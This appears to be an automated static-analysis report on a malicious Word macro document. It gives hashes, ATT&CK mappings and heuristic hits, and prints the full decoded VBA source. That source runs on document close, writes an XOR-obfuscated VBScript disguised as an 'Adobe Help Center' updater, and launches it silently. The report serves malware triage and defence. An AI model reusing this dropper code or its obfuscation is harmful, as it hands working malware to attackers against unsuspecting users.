Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a3e34808e4777e0f…

MALICIOUS

Office (OLE)

56.0 KB Created: 2021-06-04 15:46:00 Authoring application: Microsoft Office Word First seen: 2021-06-13
MD5: 100ed40544dad8b594a84a8a22117b33 SHA-1: 374b0241da16c6250f4b94e4a7c37957629f3549 SHA-256: a3e34808e4777e0f8ea6a2f5b43f6047541258e82270dc36d9ab05caa542c659
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 Signed Binary Proxy Execution: Rundll32

The sample contains VBA macros that utilize WScript.Shell and CreateObject to execute commands. The macro attempts to create a folder named 'Adobe Help Center' within the user's Documents directory and then writes a VBScript file named 'HelpCenterUpdater.vbs' into that folder. This VBScript is likely intended to download and execute a second-stage payload, as indicated by the obfuscated string concatenation within the script. The use of WScript.Shell and the creation of executable scripts point to a downloader or droppper functionality.

Heuristics 8

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set z84ltpyd = CreateObject("WScript.Shell")
    Set xjux3k3w = CreateObject("Scripting.FileSystemObject")
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
            Result = z84ltpyd.Run("wscript.exe //b " + Chr(34) + qs + Chr(34), 4, False)
    End If
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set z84ltpyd = CreateObject("WScript.Shell")
    Set xjux3k3w = CreateObject("Scripting.FileSystemObject")
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Set xjux3k3w = CreateObject("Scripting.FileSystemObject")
    tcvg70g7 = Environ("USERPROFILE") + "\Documents\Adobe Help Center"
    If Not xjux3k3w.FileExists(Environ("USERPROFILE") + "\Documents\" + "lBJDZvcl.txt") Then
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 20807 bytes
SHA-256: 6a5e2b1e865d3af16eacfb0d44d8eac321a8bb8420635dd509fbd30cc2cf4afc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
76 of 139 identifiers look randomly generated (e.g. 'd592d530d552d529d5114d531d531d569d522d57') — consistent with name-mangling obfuscation. Carved artifact contains 38 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Rem Attribute VBA_ModuleType=VBADocumentModule

Sub Document_ContentControlOnEnter(ByVal ContentControl As ContentControl)
    SubstitutePage
End Sub

Sub SubstitutePage()
    ActiveDocument.Content.Select
    Selection.Delete
    Templates.LoadBuildingBlocks
ActiveDocument.AttachedTemplate.AutoTextEntries("AAA").Insert Where:=Selection.Range, RichText:=True
End Sub

Private Sub Document_Close()
    On Error Resume Next
    Dim z84ltpyd
    Dim xjux3k3w
    Dim tcvg70g7

    Set z84ltpyd = CreateObject("WScript.Shell")
    Set xjux3k3w = CreateObject("Scripting.FileSystemObject")
    tcvg70g7 = Environ("USERPROFILE") + "\Documents\Adobe Help Center"
    If Not xjux3k3w.FileExists(Environ("USERPROFILE") + "\Documents\" + "lBJDZvcl.txt") Then
        If Not xjux3k3w.FolderExists(tcvg70g7) Then xjux3k3w.CreateFolder (tcvg70g7)

        qs = tcvg70g7 + "\HelpCenterUpdater.vbs"
        Dim qf374uyp As Object
        Set qf374uyp = xjux3k3w.CreateTextFile(qs, True, True)
        qf374uyp.Write "rwsijed9 = """"" & vbCrLf
        qf374uyp.Write "Public Function emeyi2(str)" & vbCrLf
qf374uyp.Write "Dim co30jpxr" & vbCrLf
qf374uyp.Write "Dim vgiojvg6" & vbCrLf
qf374uyp.Write "Dim vgiojvg62" & vbCrLf
qf374uyp.Write "Dim nbu2v5xv" & vbCrLf
qf374uyp.Write "Dim xu2ouqow" & vbCrLf
qf374uyp.Write "Dim g6squybq" & vbCrLf
qf374uyp.Write "Dim vgiojvg63" & vbCrLf
qf374uyp.Write "Dim smx4lxua" & vbCrLf
qf374uyp.Write "Dim s4ddhc4c" & vbCrLf
qf374uyp.Write "smx4lxua = ""m40cookz""" & vbCrLf
qf374uyp.Write "result = """"" & vbCrLf
qf374uyp.Write "vgiojvg62 = 0" & vbCrLf
qf374uyp.Write "co30jpxr = Split(str, ""d5"", -1, 0)" & vbCrLf
qf374uyp.Write "For vgiojvg6 = 0 To UBound(co30jpxr)" & vbCrLf
qf374uyp.Write "If vgiojvg6 Mod 5 = 0 Then" & vbCrLf
qf374uyp.Write "s4ddhc4c = co30jpxr(vgiojvg6)" & vbCrLf
qf374uyp.Write "For vgiojvg63 = 0 To Len(smx4lxua) - 1" & vbCrLf
qf374uyp.Write "g6squybq = Mid(smx4lxua, vgiojvg63 + 1, 1)" & vbCrLf
qf374uyp.Write "s4ddhc4c = s4ddhc4c Xor Asc(g6squybq)" & vbCrLf
qf374uyp.Write "Next" & vbCrLf
qf374uyp.Write "result = result + Chr(s4ddhc4c)" & vbCrLf
qf374uyp.Write "Else" & vbCrLf
qf374uyp.Write "nbu2v5xv = Mid(smx4lxua, vgiojvg62 + 1, 1)" & vbCrLf
qf374uyp.Write "xu2ouqow = Asc(nbu2v5xv)" & vbCrLf
qf374uyp.Write "result = result + Chr(co30jpxr(vgiojvg6) Xor xu2ouqow)" & vbCrLf
qf374uyp.Write "End If" & vbCrLf
qf374uyp.Write "If vgiojvg62 < Len(smx4lxua) - 1 Then" & vbCrLf
qf374uyp.Write "vgiojvg62 = vgiojvg62 + 1" & vbCrLf
qf374uyp.Write "Else: vgiojvg62 = 0" & vbCrLf
qf374uyp.Write "End If" & vbCrLf
qf374uyp.Write "Next" & vbCrLf
qf374uyp.Write "emeyi2 = result" & vbCrLf
qf374uyp.Write "End Function" & vbCrLf
qf374uyp.Write "Public Function r97nqxav(st)" & vbCrLf
qf374uyp.Write "Execute (st)" & vbCrLf
qf374uyp.Write "r97nqxav = st" & vbCrLf
qf374uyp.Write "End Function" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""60d5102d585d514d50d5111d514d590d524d570d5119d567d524d57d514d5105d58d520d530d56d599d510d575d510d512d598d592d512d514d511d559d522d52d587d581d5111d510d511""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""78d570d592d567d582d559d573d518d525d564d5107d516d585d564d568d5127d52d567d594d515d5116d514d515d578d567d5120d592d522d513d564d5124d585d526d593d594d541d566d526d527d530d5111d525d57d511d59d540d512d523d564d512d540d513d59d55d570d535d594d592d587d576d5109d52d514d578d594d5127d583d577d510d523d5126d588""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""93d565d594d50d527d5114d54d520d577d5120d5116d512d54d546d531d551d526d589d589d548d5126d529d529d519d514d5126d525""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""72d581d568d567d512d5116d57d551d525d581d5118d516d579d582d575d5108d50d593d599d56d5105d525d52d525d58d553d5117d527d510d512d574d515d58d570d573d551d577d560d514d522d5126d587d568d567d569d559d513d58d52d589d559d552d56d51d588d541d550d5100d566d512d5120d510d524d59d579d550""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""66d564d5126d540d542d593d52d535d521d576d559d594d579d577d573""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""93d591d566d567d542d5122d58d518d577d591d5121d59d538d527d514d5118d577d5125d594d567d5120d50d57d551d525d5126d593d516""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""82d582d516d512d513d5113d534d514d58d589d553d545d514d52d514d559d580d520d518d519d5105d50d58d531d521d5107d530d56d523d510d557d590d557d592d585d5117""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""66d564d5126d540d542d593d52d535d521d576d559d594d579d554d531d585d538d5113d5118d510d566d523d519d590d570d559d518d560d531d529d557d590d570d520d518d5116d512d510d519d510d553d581d518d567d568d559d573d52d58d522""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""94d590d584d567d538d5125""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""82d582d516d512d513d5113d534d514d58d589d553d545d514d52d514d559d580d520d518d520d5114d577d575d581d577d557d566d56d528d57d5122d58d56d526d585d599d577d579d564d590d557d581d518d567d559d5115d514d520""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""66d564d5126d540d542d593d52d535d521d576d559d594d579d554d531d585d538d5113d5118d510d566d523d519d590d570d559d518d560d524d577d559d581d577d522d589d5105d510d528d53d588d559d531d516d565d514d5105d50d584d58d576d5126d565""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""94d590d584d567d538d5125""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""82d582d516d512d513d5113d534d514d58d589d553d545d514d52d514d559d580d520d518d523d5120d531d515d588d577d548d516d565d526d52d5107d584d58d522d516d548d579d577d519d531d557d520d5100d511d510d5117""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""66d564d5126d540d542d593d52d535d521d576d559d594d579d554d531d585d538d5113d5118d510d566d523d519d590d570d559d518d560d527d512d5107d530d579d520d527d559d577d526d56d510d553d581d572d56d577""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""94d590d584d567d538d5125""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""85d581d572d523""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""82d582d516d558d527d585d532d563d543d593d566d527d523d579d586d559d579d522d516d555d5115d510d55""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""87d591d595d58d546d5111d575d571d577d596d5105d522d510""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""94d588d567d56""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""87d591d595d58d546d5111d575d571d577d5114d5122d515d528d510""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""94d590d584d567d538d5125""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""94d590d584d567d541d5110d55d525d525d593d5116d513""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""84d590d516d538d529d5105d54d58d577d5102d5126d516d526d52d514d559d535d581d572d523""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""72d581d568d567d560d5115d514d522d51d520d538d567d556d560d58d5105d54d568d568d577d588d529d514d527d525d5126d5127d51d55d510d5120d514d569d522d5103d572d512d529d52d510d5111d526d599d511d510d5119d57d588d568""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""72d581d568d567d561d5126d526d515d58d571d5111d567d582d579d540d5105d58d585d568d56d584d513d51d531d514d5111d524d565d556d56d5117d550d525d564d564d553d556d56d55d550d5111d564d564d549d510d5106d530d531d530d564d553d586d565d594d573d550""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""72d581d568d567d541d5104d536d524d57d581d5120d523d579d582d575d588d531d581d581d523d5126d532d59d516d58d5120d568d575d577d560d5120d58d54d568d568d5114d51d58d569d560d5114d588d585d548d522d5104d531d531d50d5123d5121d59d510d512d531d557d568""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""72d581d568d567d513d572d531d58d50d520d538d567d512d529d514d5122d525d581d595d51d5113d510d58d514d569d557d5113d57d50d511d5121d584d562d564d566d5126d514d52d573d583""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""113d576d5120d520d52d5109d575d571d577d522d583d540d542d554d552d588d556d5102d598d538d585d559d552d547d562d594d598d563d560d50d5125d514d526d585d566d5126d551d534d52d525d5105d591d567d512d59d5111d555d545d54d590d5127d512d524d528d555d588d524d570d566d56d5117d527d561d531d531d5104d589d512d51d551d573d515d53d5123d594d5120d510d551d563d521d5105d5118d566d512d524d5104d514d58d579""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""95d5108d5115d536d558d5127d575d571d577d5103d5115d56d53d53d569d594d521d568d581d513d5127d542d55d512d54d5105d595d513d52d510d5117d514d562d564d566d5114d51d58d524d582d557d517d5101d548d542d573d559d540d534d5114d582d547d542d574d573d550""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""90d566d568d513d543d565d545d512d558d5118d538d548d57d510d57d5119d567d5113d572d519d5122d51d515d563d53d5109d589d517d50d51d5118d531d53d564d599d5111d529d56d55d529d5104d528d518d570d544d584d538d542d556d596d594d549d533d546d538d594d572d522d525""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""80d5125d5119d516d50d538d556d518d58d588d5119d577d542d523d527d5122d53d580d5117d513d5109d56d525d521d53d5118d585d513d527d560d5111d58d54d590d587d5104d571d577d578d541d566d5103d5100d538d534d595d557d551d559d5113d562d565d570""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""81d5117d567d545d512d592d586d541d55d581d5119d515d565d542d519d5107d512d590d584d538d5117d525d52d58d52d5117d593d56d51d527d572d514d531d593d594d5124d528d571d573d595d590d5100d596d539d546d579d542d595d579d529""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""107d5124d565d559d560d5107d575d571d577d5124d5126d527d571d541d524d584d515d594d585d50d5111d565d544d531d525d595d566d510d525d510d551d549d536d5115d567d5116d570d565d556d531d5105d593d581d515d533d5110d56d524d58d570d550""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""88d565d566d517d510d5117d531d562d54d570d559d594d579d541d524d584d515d594d585d50d5111d565d544d531d525d575d581d517d510d51d5111d560d52d588d584d5126d529d533d510d523d5126d528d5103d548d512d5105d52d510d525d526d572d50d529d56d527d5111d543d565d592d515d585d514d56d531d568""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""60d5120d595d50d514d5119d575d531d521d581d559d55d56d53d514d559d53d585d593d56""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""87d591d583d52d53d594d519d531d561d585d5111d511d579d582d575d588d524d570d566d56d5117d527d547d519d531d559d527d567d577d551d535d59d538d513d54d592d534d511d589d531d553d581d572d56d577""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""87d591d583d52d53d575d510d514d55d520d538d567d579d544d530d5105d531d581d594d523d595d56d525d590d570d559d518d563d528d537d580d517d58d567d5118d586d565d525d59d59d557""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""72d581d568d567d50d5121d51d545d532d5125d572d56d529d525d52d5120d58d520d513d567d592d510d531d553d515d5113d585d50d527d571d557d513d54d590d593d5124d52d527d524d564d552d527d518d567d573d559d573d584d579d520d561d567d577d564d525d5116d52d564d531d50d5114d52d529d572d579d550""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""72d581d568d567d512d5116d57d551d525d581d5118d516d579d582d575d5116d515d594d5103d546d582d560d514d58d527d5114d583d56d565d542d599d531d514d5101d569d5126d529d522d567d588d572d581d592d56d512d5111d575d580d577d582d5105d512d52d579d560d5114d53d57d52d560d575d529d54d525d58d5104d567d565d570""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""66d564d5126d540d542d593d52d535d521d576d559d594d579d577d573""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""77d5119d583d538d534d5105d512d556d533d5103d559d594d579d594""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""95d591""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""119d591d595d58d531d5120d575d571d577d5120d5116d512d54d546d531d551d52d586d590d552d586d538d556d531d531d5109d589d50d510d570""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""82d582d516d515d50d5116d50d510d514d520d579d511d510d51""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""114d580d585d513d527d5114d513d519d514d585d5111d512d529d579d586d559d544d566d568d513d595d553d545d512d558d589d516d569d579d577d568d588d577d518d516d5107d539d530d551d541d5107""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""110d571d585d517d514d5124d514d520d525d520d538d567d577d534d54d597d54d588d592d52d552d590d569d574d577d551d5103d510d51d511d5116d513d530d520d5126d579d579d589d569d575d532d520d5103d544d556d545d595d565d577d570d5109d589d590d587d569d543d568d520d5119d56d5120d54d54d585d595d543d51d583d595d594d543d575d577d5114d589d5105d510d59d54d52d552d51d58d577d595d533d581d588d577d531d559d510d511d510d55d5111d54d582d589d50d5122d527d54d58d577d548d516d565d585d585d557""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""73d581d565d522d510d5104d531d584d534d568d5126d513d579d577d544d594d557d522d528d567d578d529d57d586d577d593d581d515d528d510""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""73d581d565d522d510d5104d531d584d562d581d5111d549d510d530d530d5126d530d564d5120d56d5122d511d514d58d577d557d5101d516d577d579d548d590d579d581d566d554d546d58d514d520d557d520d527d567d577d5111d573d586d577d565d5104d56d529d514d512d5126d53d564""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""73d581d565d522d510d5104d531d584d530d581d5117d57""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""76d5103d583d517d56d5107d531d584d540d587d5115d512d579d571d539d5116d514d585d592d538d599d510d559d527d525d5115d525""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""82d582d516d549d510d5106d530d531d530d564d553d548d527d514d531d5110d530d520d513d567d541d595d591d590d557d5115d585d513""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""82d582d516d537d528d584d59d516d58d587d5111d577d541d56d57d5126d58d576d589d516d5111d528d567d554d52d5120d581d515d542d523d5126d542d512d564d588d550d579d559d53d531d5117d520d5118d516d532d5121d51d531d514d564d553d539d510d53d514d5111d58d5114d589d515d5126d579d539d521d514d5122d592d538d523d510d575d527d525d592""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""82d582d516d537d528d584d59d516d58d587d5111d577d541d56d57d5126d58d576d589d516d5111d528d567d554d52d5120d581d515d563d514d5111d518d568d520d5100d5115d510d51d575d560d5104d5123d582d59d510d5120d531d584d541d581d5119d56d527d510d545d5114d51d581d516d547d5116d512d510d522d561d5122d568d511""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""104d581d568d567d541d5115d575d571d577d5114d5104d544d513d55d514d5120d525d526d5127d519d5126d51d563d531d521d5111d5118d510d53d510d551d554d52d587d581d5119d563d514d531d518d555d520d52d579d579d5111d525d515d58d529""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""93d592d530d552d529d5114d531d531d569d522d5106d567d582d579d590d557d577d518d516d521d5121d544d525d554d511d550""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""93d592d530d552d529d5114d531d531d569d522d5126d511d59d579d586d559d579d520d527d567d588d57d525d582d594d547d525d567d568d579d587d521d514d585d592d594d523d510d559d527d5111d592d516d572d579d588d53d58d569d57d547d574d579d573d575d5109d515d5119d566d547d5125d570""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""93d592d530d552d529d5114d531d531d569d522d572d56d527d579d545d5104d534d586d590d56d5120d527d575d571d577d588d566d56d514d527d5126d553d515d594d585d5120d527d571d573d590d548d520d5115d511d529d551d588d578d568d520d548d567d577d560d58d5105d54d568d568d510d5117d58d569d560d54d5119d585d548d522d528d5111d531d50d5123d582d5113d510d512d531d588d559d531d516d532d57d5105d567d573d589d529d559d572d579d577d566d557d577d518d516d521d5121d544d525d554d511d550""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""93d592d530d552d529d5114d531d531d569d522d572d56d527d579d556d5115d58d588d592d567d538d579d560d541d514d5105d589d519d527d565d588d58d58d585d568d5126d532d513d51d531d5120d564d524d565d577d576d556d525d531d593d5107d523d565d560d53d5126d51d588d518d565d550d577d575d592d577d5109d582d532d529d535d5125d583""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""93d592d530d552d529d5114d531d531d569d522d595d512d577d579d577d559d527d586d5115d517d587d59d566""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""93d592d530d552d529d5114d531d531d569d522d576d548d512d529d52d5107d525d526d599d515d5126d510d527d590d588d547d51d581d577d579d561d590d527d586d5115d5105d535d59d566""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""93d592d530d552d529d5114d531d531d569d522d582d55d579d541d524d584d515d594d585d50d5111d565d545d519d51d5126d585d527d56d528d5111d59d569d581d588d5125d570d579d563d518d5126d590d518d567d573d559d529d524d546d570d587d55d570""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""93d592d530d552d529d5114d531d531d569d522d573d594d560d57d514d5119d51d526d598d522d5117d571d573d590d570d559d5115d511d529d571d540d578d568d520d527d559d544d57d525d582d540d50d525d567d568d559d540d518d531d528d540d587d570d579d564d559d533d591d583d52d5119d542d519d531d561d5122d568d511d579d568d559d557d55d570d524d540d591d570d575d581d559d5119d588d517d571d540d595d583d577d531d559d532d57d529d567d540d589d529d516d572d559d577d571d590d589d555d516d537d514d53d5104d531d568d522d516d561d579d525d59d557d5105d5120d586d574""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""93d592d530d552d529d5114d531d531d569d522d5106d567d582d579d591d557d577d518d516d521d5121d544d525d554d511d550""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""93d592d530d552d529d5114d531d531d569d522d594d513d511d579d534d5125d579d520d522d567d5109d513d540d58d533d5125d525""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""93d592d530d552d529d5114d531d531d569d522d587d512d50d531d575d576d55d593d592d56d559d530d575d568d577d543d518d574""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""93d592d530d532d53d5116d524d531""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""73d570d516d594d579d572d53d531d51d588d553d517d526d51d575d551d546d592d566d575d540d591d566d590d570d559d5124d512d512d514d5119d542d512d564d588d559d568d579d540d518d5105d528d53d587d570d555d575d578d565d520d593d52d53d528d514d550""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""121d5103d568d517d52d553d536d510d58d590""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""121d5103d568d517d52d553d563d53d529d581d559d594d579d594""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""121d5103d568d517d52d553d560d58d54d564d5126d575d561d510d526d5110d58d571d568d577d573d510d524d510d52d5117d567d56d545d50d5127d53d568""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""121d5103d568d517d52d553d556d527d527d581d579d512d541d56d57d5126d577d5120d595d50d5122d53d546d52d58d575d581d523d57""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""121d5103d568d517d52d553d540d522d52d571d5126""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""76d5103d583d517d56d5107d531d584d562d588d5126d56d531d579d594d547d592d56""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""94d590d584d567d538d5125""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""77d5119d583d538d534d5105d512d556d533d5103d559d594d579d595""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""94d590d584d567d538d5125""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""76d5103d583d517d56d5107d531d584d562d588d5126d56d531d579d594d547d592d56""))) & vbCrLf" & vbCrLf
qf374uyp.Write "rwsijed9 = rwsijed9 + ((emeyi2(""87d591d595d519d579d576d53d519d51d581d559d553d544d512d546d586d531d583d5114d547d572d579d585d590d593""))) & vbCrLf" & vbCrLf
        qf374uyp.Write "r97nqxav(rwsijed9)" & vbCrLf
        qf374uyp.Close

        Result = z84ltpyd.Run("wscript.exe //b " + Chr(34) + qs + Chr(34), 4, False)
    End If

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.